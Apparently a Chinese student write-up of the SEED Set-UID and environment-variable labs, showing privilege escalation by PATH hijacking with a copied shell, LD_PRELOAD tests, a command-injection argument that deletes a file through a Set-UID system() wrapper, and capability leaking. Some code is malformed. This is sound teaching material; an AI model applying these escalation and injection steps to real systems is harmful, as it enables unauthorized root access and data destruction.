美文网首页黑客往事
软件安全-环境变量攻防

软件安全-环境变量攻防

作者: ustc_sec | 来源:发表于2018-06-01 21:26 被阅读0次

    Environment Variable and Set-UID Program Lab

    Manipulating environment variables

    打印环境变量:
    pirntenv env
    设置/取消设置环境变量:
    export unset

    Inheriting environment variables from parents

    如果进程需要启动另一个程序的可执行文件,它先fork创建一个自身的副本,
    然后由该副本调用exec系统调用,用其他程序覆盖自身。当一个进程调用fork时,它被认为是父进程,新创建的进程称作子进程。fork操作会为子进程创建一个单独的地址空间,子进程拥有父进程所有内存段的副本。

    include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    
    extern char** environ;
    void printenv()
    {
        int i = 0;
        while(environ[i] != NULL)
            printf("%s\n",environ[i++]);
    }
    void main()
    {
        pid_t childPid;
        switch(childPid = fork())
        {
            case 0:
            printenv();
            exit(0);
        default:
            //printenv();
            exit(0);
    }
    }
    

    先后取消父进程和子进程的注释,将打印的文本信息保存,
    然后对比父进程和子进程的环境变量,结果完全一样。

    Environment varibales and execve()

    int execve(const char* filename,char* const argv[],char* const envp[]);
    execve()用来执行参数filename字符串所代表的文件路径,

    参数2是利用指针数组来传递给执行文件,并且需要以空指针结束,

    参数3是传递给执行文件的新环境变量数组。

    成功不会返回,失败返回-1。

    include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    extern char** environ;
    
    int main()
    {
        char* argv[2];
        argv[0] = "/usr/bin/env";
        argv[1] = NULL;
        execve("/usr/bin/env",argv,NULL);
        //execve("/usr/bin/env",argv,environ);
        return 0;
    }
    

    当execve()函数的参数3:新的环境变量数组,设置为NULL的时候,打印信息为空。
    当设置为environ时,打印出环境变量信息。

    Environment variables and system()

    int system(const char* string);
    system()会调用fork()产生子进程,由子进程来调用/bin/sh来执行参数string字符串所代表的命令,
    此命令执行完成后随即返回原调用的进程。
    如果执行成功则返回子shell的终止状态。
    如果fork()失败,返回-1。
    如果exec()失败,表示不能执行shell,返回值相当于shell执行了exit。

    #include <stdio.h>
    #include <stdlib.h>
    int main()
    {
        system("/usr/bin/env");
        return 0;
    }
    

    编译运行,结果打印环境变量。

    Environment variables and Set-UID Programs

    #include <stdio.h>
    #include <stdlib.h>
    extern char **environ;
    void main()
    {
        int i = 0;
        while (environ[i] != NULL)
            printf("%s\n", environ[i++]);
    }
    

    root用户编译,设置Set-UID。
    普通用户下,使用export设置环境变量:

    PATH
    LD_LIBRARY_PATH
    运行上面的程序,发现环境变量发生变化
    PATH变成刚刚设置的
    LD_LIBRARY_PATH没有找到
    The PATH Environment variable and Set-UID Programs

    int main()
    {
        system("ls");
        return 0;
    }
    

    将/bin/sh复制到程序当前目录,命令为ls。

    cp /bin/sh ~/ls

    设置环境变量PATH=~:$PATH。

    root用户编译上面的程序,设置Set-UID。

    普通用户运行,结果显示获取到root权限。

    The LD_PRELOAD environment variable and Set-UID Programs

    #include <stdio.h>
    void sleep(int s)
    {
        printf("i am not sleeping \n");
    }
    

    gcc -fPIC -g -c mylib.c
    gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
    export LD_PRELOAD=./libmylib.so.1.0.1

    /* myprog.c */
    int main()
    {
        sleep(1);
        return 0;
    }
    

    myprog普通程序,普通用户运行
    //输出 i am not sleeping
    myprog Set-UID root程序,普通用户运行
    //输出空
    myprog Set-UID root程序,设置root用户环境变量LD_PRELOAD,root用户运行
    //输出 i am not sleeping
    myprog普通用户1程序,设置普通用户2环境变量LD_PRELOAD,普通用户2运行
    //输出空
    只有用户自己创建的程序自己去运行,才会使用LD_PRELOAD环境变量,
    否则忽略LD_PRELOAD环境变量。

    Invoking external programs using system() versus execve()

    /*  bob.c */
    #include <string.h>
    #include <stdio.h>
    #include <stdlib.h>
    int main(int argc, char *argv[])
    {
        char *v[3];
        char *command;
        if(argc < 2) {
            printf("Please type a file name.\n");
        return 1;
    }
        v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = NULL;
        command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
        sprintf(command, "%s %s", v[0], v[1]);
        // Use only one of the followings.
        system(command);
        // execve(v[0], v, NULL);
        return 0 ;
    }
    

    system(command);
    bob可以实现删除指定文件。
    root用户,编译上述程序,设置Set-UID。
    攻击者bob可以通过:
    ./bob “111.txt;rm 111.txt -rf”
    实现将没有写权限的的文件111.txt删除。
    因为system()调用了shell,由于本程序设置了Set-UID,
    将会以root身份去执行字符串。
    execve(v[0],v,NULL);
    无法删除指定文件。
    ./bob “111.txt;rm 111.txt -rf”
    execve()将”111.txt;rm 111.txt -rf”当作文件名,
    自然显示找不到文件。
    Capability Leaking

    #include <stdio.h>
    #include <stdlib.h>
    #include <fcntl.h>
    void main()
    {
        int fd;
        /* Assume that /etc/zzz is an important system file,
        * and it is owned by root with permission 0644.
        * Before running this program, you should creat
        * the file /etc/zzz first. */
        fd = open("/etc/zzz", O_RDWR | O_APPEND);
        if (fd == -1) {
            printf("Cannot open /etc/zzz\n");
            exit(0);
        }
        /* Simulate the tasks conducted by the program */
        sleep(1);
        /* After the task, the root privileges are no longer needed,
        it’s time to relinquish the root privileges permanently. */
    
        setuid(getuid()); /* getuid() returns the real uid */
        if (fork()) { /* In the parent process */
            close (fd);
            exit(0);
        } else { /* in the child process */
        /* Now, assume that the child process is compromised, malicious
        attackers have injected the following statements
        into this process */
        write (fd, "Malicious Data\n", 15);
        close (fd);
        }
    }
    

    root用户编译,设置Set-UID,普通用户运行。

    结果成功写入:“Malicious Data\n”

    由于文件fd是root权限打开的,导致降权不彻底。

    需要遵循最小权限原则,用完就释放权限。


    Set-UID Program Vulnerability Lab
    实验目的:
    理解掌握为什么需要Set-UID程序
    理解掌握潜在的安全隐患

    问题1

    当我们在普通用户下输入su时,会发生什么?
    需要我们输入密码,进入root账户
    当我们把su程序复制到另一个目录下的时候,运行该目录下的su passwd会发生什么?
    输入密码无效,因为复制的程序丢失了Set-UID
    问题2

    root用户登录,复制/bin/zsh到/tmp,设置s位,切换到普通用户下,运行/tmp/zsh,你会获得root权限吗?
    进入zsh,普通用户可以获得root权限
    复制/bin/bash试一试?
    进入普通bash,bash程序中有Set-UID保护机制
    问题3

    更改/bin/sh符号链接指向/bin/zsh?

    $ su
    Password: (enter root password)cd /bin
    rm sh
    ln -s zsh sh
    

    问题4

    PATH环境变量

    在问题3的基础上
    普通用户下设置环境PATH=/tmp:$PATH
    root用户将zsh复制到/tmp,设置s位,重命名为ls

    #include <unistd.h>
    #include <stdlib.h>
    int main()
    {
        system("ls");
        return 0;
    }
    

    普通用户编译运行上面的程序,即可获得root shell。

    如果sh软链接指向的是bash,结果会怎样?
    只能获得普通shell
    问题5

    system()和execve()
    背景:BOB是一个代码审计员,他需要看一家公司的全部文件,但是不能修改任何文件。
    为此,系统管理员写了一个Set-UID的小程序,并且给了BOB可执行权限。
    这个小程序允许BOB输入一个文件名,让运行/bin/cat查看文件内容。
    小程序运行期间,具有root权限,因此可以查看任何文件内容。
    又因为这个小程序没有写权限,因为BOB不能修改任何文件。

    #include <string.h>
    #include <stdio.h>
    #include <stdlib.h>
    
    int main(int argc,char* argv[])
    {
        char* v[3];
        if(argc <2)
        {
            pirntf("Please type a file name.\n");
            return 1;
        }
    }
    v[0] = "/bin/cat";
    v[1] = argv[1];
    v[2] = 0;
    int q = 0;
    if(q ==0)
    {
        char* command = malloc(strlen(v[0])+strlen(v[1])+2);
        sprintf(command,"%s %s",v[0],v[1]);
        system(command);
    }
    else
    {
        execve(v[0],v,0);
    }
    return 0;
    

    q = 0 如果你是BOB,你可以删除文件吗?
    能。程序使用system()函数,调用/bin/sh程序,修改环境变量。
    q = 1 如果你是BOB,你可以删除文件吗?
    不能。

    相关文章

      网友评论

        本文标题:软件安全-环境变量攻防

        本文链接:https://www.haomeiwen.com/subject/sgtlsftx.html